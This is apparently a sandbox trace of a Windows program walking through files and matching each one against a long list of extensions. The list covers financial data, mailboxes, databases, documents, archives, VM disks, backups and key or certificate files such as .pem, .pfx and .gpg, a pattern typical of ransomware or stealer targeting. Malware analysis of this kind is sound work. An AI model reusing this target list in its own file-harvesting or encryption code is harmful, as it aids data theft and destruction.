(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0103.217] lstrlenA (lpString="*.qbx") returned 5 [0103.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0103.217] lstrlenA (lpString="*.qba") returned 5 [0103.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0103.217] lstrlenA (lpString="*.qby") returned 5 [0103.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0103.217] lstrlenA (lpString="*.qbj") returned 5 [0103.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0103.217] lstrlenA (lpString="*.ofx") returned 5 [0103.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0103.217] lstrlenA (lpString="*.qif") returned 5 [0103.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0103.217] lstrlenA (lpString="*.mye") returned 5 [0103.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0103.218] lstrlenA (lpString="*.mbox") returned 6 [0103.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0103.218] lstrlenA (lpString="*.eml") returned 5 [0103.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0103.218] lstrlenA (lpString="*.pst") returned 5 [0103.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0103.218] lstrlenA (lpString="*.ost") returned 5 [0103.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0103.218] lstrlenA (lpString="*.idx") returned 5 [0103.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0103.218] lstrlenA (lpString="*.dbx") returned 5 [0103.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0103.218] lstrlenA (lpString="*.sql") returned 5 [0103.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0103.218] lstrlenA (lpString="*.mdb") returned 5 [0103.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0103.218] lstrlenA (lpString="*.fdb") returned 5 [0103.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0103.219] lstrlenA (lpString="*.wab") returned 5 [0103.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0103.219] lstrlenA (lpString="*.dat") returned 5 [0103.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0103.219] lstrlenA (lpString="*.txt") returned 5 [0103.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0103.219] lstrlenA (lpString="*.jpeg") returned 6 [0103.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0103.219] lstrlenA (lpString="*.jpg") returned 5 [0103.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.png") returned 0 [0103.219] lstrlenA (lpString="*.png") returned 5 [0103.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.php") returned 0 [0103.219] lstrlenA (lpString="*.php") returned 5 [0103.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0103.219] lstrlenA (lpString="*.cs") returned 4 [0103.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0103.219] lstrlenA (lpString="*.cpp") returned 5 [0103.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0103.220] lstrlenA (lpString="*.rar") returned 5 [0103.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0103.220] lstrlenA (lpString="*.zip") returned 5 [0103.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.html") returned 0 [0103.220] lstrlenA (lpString="*.html") returned 6 [0103.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0103.220] lstrlenA (lpString="*.htm") returned 5 [0103.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0103.220] lstrlenA (lpString="*.xlsx") returned 6 [0103.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0103.220] lstrlenA (lpString="*.xls") returned 5 [0103.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0103.220] lstrlenA (lpString="*.mp4") returned 5 [0103.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0103.220] lstrlenA (lpString="*.ppt") returned 5 [0103.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0103.220] lstrlenA (lpString="*.pptx") returned 6 [0103.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0103.221] lstrlenA (lpString="*.doc") returned 5 [0103.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0103.221] lstrlenA (lpString="*.dot") returned 5 [0103.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0103.221] lstrlenA (lpString="*.docx") returned 6 [0103.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0103.221] lstrlenA (lpString="*.7z") returned 4 [0103.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0103.221] lstrlenA (lpString="*.tar") returned 5 [0103.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0103.221] lstrlenA (lpString="*.bz2") returned 5 [0103.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0103.221] lstrlenA (lpString="*.gz") returned 4 [0103.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0103.221] lstrlenA (lpString="*.mkv") returned 5 [0103.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0103.221] lstrlenA (lpString="*.eml") returned 5 [0103.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0103.222] lstrlenA (lpString="*.msg") returned 5 [0103.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0103.222] lstrlenA (lpString="*.edb") returned 5 [0103.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0103.222] lstrlenA (lpString="*.accdb") returned 7 [0103.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0103.222] lstrlenA (lpString="*.odb") returned 5 [0103.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.java") returned 0 [0103.222] lstrlenA (lpString="*.java") returned 6 [0103.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0103.223] lstrlenA (lpString="*.asm") returned 5 [0103.223] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0103.223] lstrlenA (lpString="*.pfx") returned 5 [0103.223] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0103.223] lstrlenA (lpString="*.pem") returned 5 [0103.223] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0103.223] lstrlenA (lpString="*.p12") returned 5 [0103.223] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0103.223] lstrlenA (lpString="*.gpg") returned 5 [0103.223] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0103.223] lstrlenA (lpString="*.vsd") returned 5 [0103.223] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0103.223] lstrlenA (lpString="*.odg") returned 5 [0103.223] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0103.223] lstrlenA (lpString="*.raw") returned 5 [0103.223] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0103.223] lstrlenA (lpString="*.nef") returned 5 [0103.223] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0103.224] lstrlenA (lpString="*.svg") returned 5 [0103.224] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0103.224] lstrlenA (lpString="*.psd") returned 5 [0103.224] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0103.224] lstrlenA (lpString="*.vmx") returned 5 [0103.224] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0103.224] lstrlenA (lpString="*.vmdk") returned 6 [0103.224] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0103.224] lstrlenA (lpString="*.vdi") returned 5 [0103.224] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0103.224] lstrlenA (lpString="*.lay6") returned 6 [0103.224] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0103.224] lstrlenA (lpString="*.mpeg") returned 6 [0103.224] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0103.224] lstrlenA (lpString="*.djvu") returned 6 [0103.224] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0103.224] lstrlenA (lpString="*.tiff") returned 6 [0103.224] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0103.225] lstrlenA (lpString="*.backup") returned 8 [0103.225] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0103.225] lstrlenA (lpString="*.pdf") returned 5 [0103.225] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0103.225] lstrlenA (lpString="*.cert") returned 6 [0103.225] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0103.225] lstrlenA (lpString="*.docm") returned 6 [0103.225] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0103.225] lstrlenA (lpString="*.xlsm") returned 6 [0103.225] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0103.225] lstrlenA (lpString="*.dwg") returned 5 [0103.225] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0103.225] lstrlenA (lpString="*.nd") returned 4 [0103.225] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0103.225] lstrlenA (lpString="*.tlg") returned 5 [0103.225] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0103.225] lstrlenA (lpString="*.lgb") returned 5 [0103.226] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0103.226] lstrlenA (lpString="*.mov") returned 5 [0103.226] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0103.226] lstrlenA (lpString="*.xdw") returned 5 [0103.226] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0103.226] lstrlenA (lpString="*.ods") returned 5 [0103.226] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0103.226] lstrlenA (lpString="*.wav") returned 5 [0103.226] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.mp3") returned 0 [0103.226] lstrlenA (lpString="*.mp3") returned 5 [0103.226] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0103.226] lstrlenA (lpString="*.aiff") returned 6 [0103.226] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0103.226] lstrlenA (lpString="*.flac") returned 6 [0103.226] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0103.226] lstrlenA (lpString="*.m4a") returned 5 [0103.226] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\bf3e8ba642eaf9a5371982f211550c52\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0103.226] lstrlenA (lpString="*.csv") returned 5 [0103.226] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26d01cb0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x26d01cb0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x26d01cb0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x45a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.227] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.227] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ba0b380, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4ba0b380, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4ba0b380, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="c57ad67f3f9376f201236b8743f41043", cAlternateFileName="C57AD6~1")) returned 1 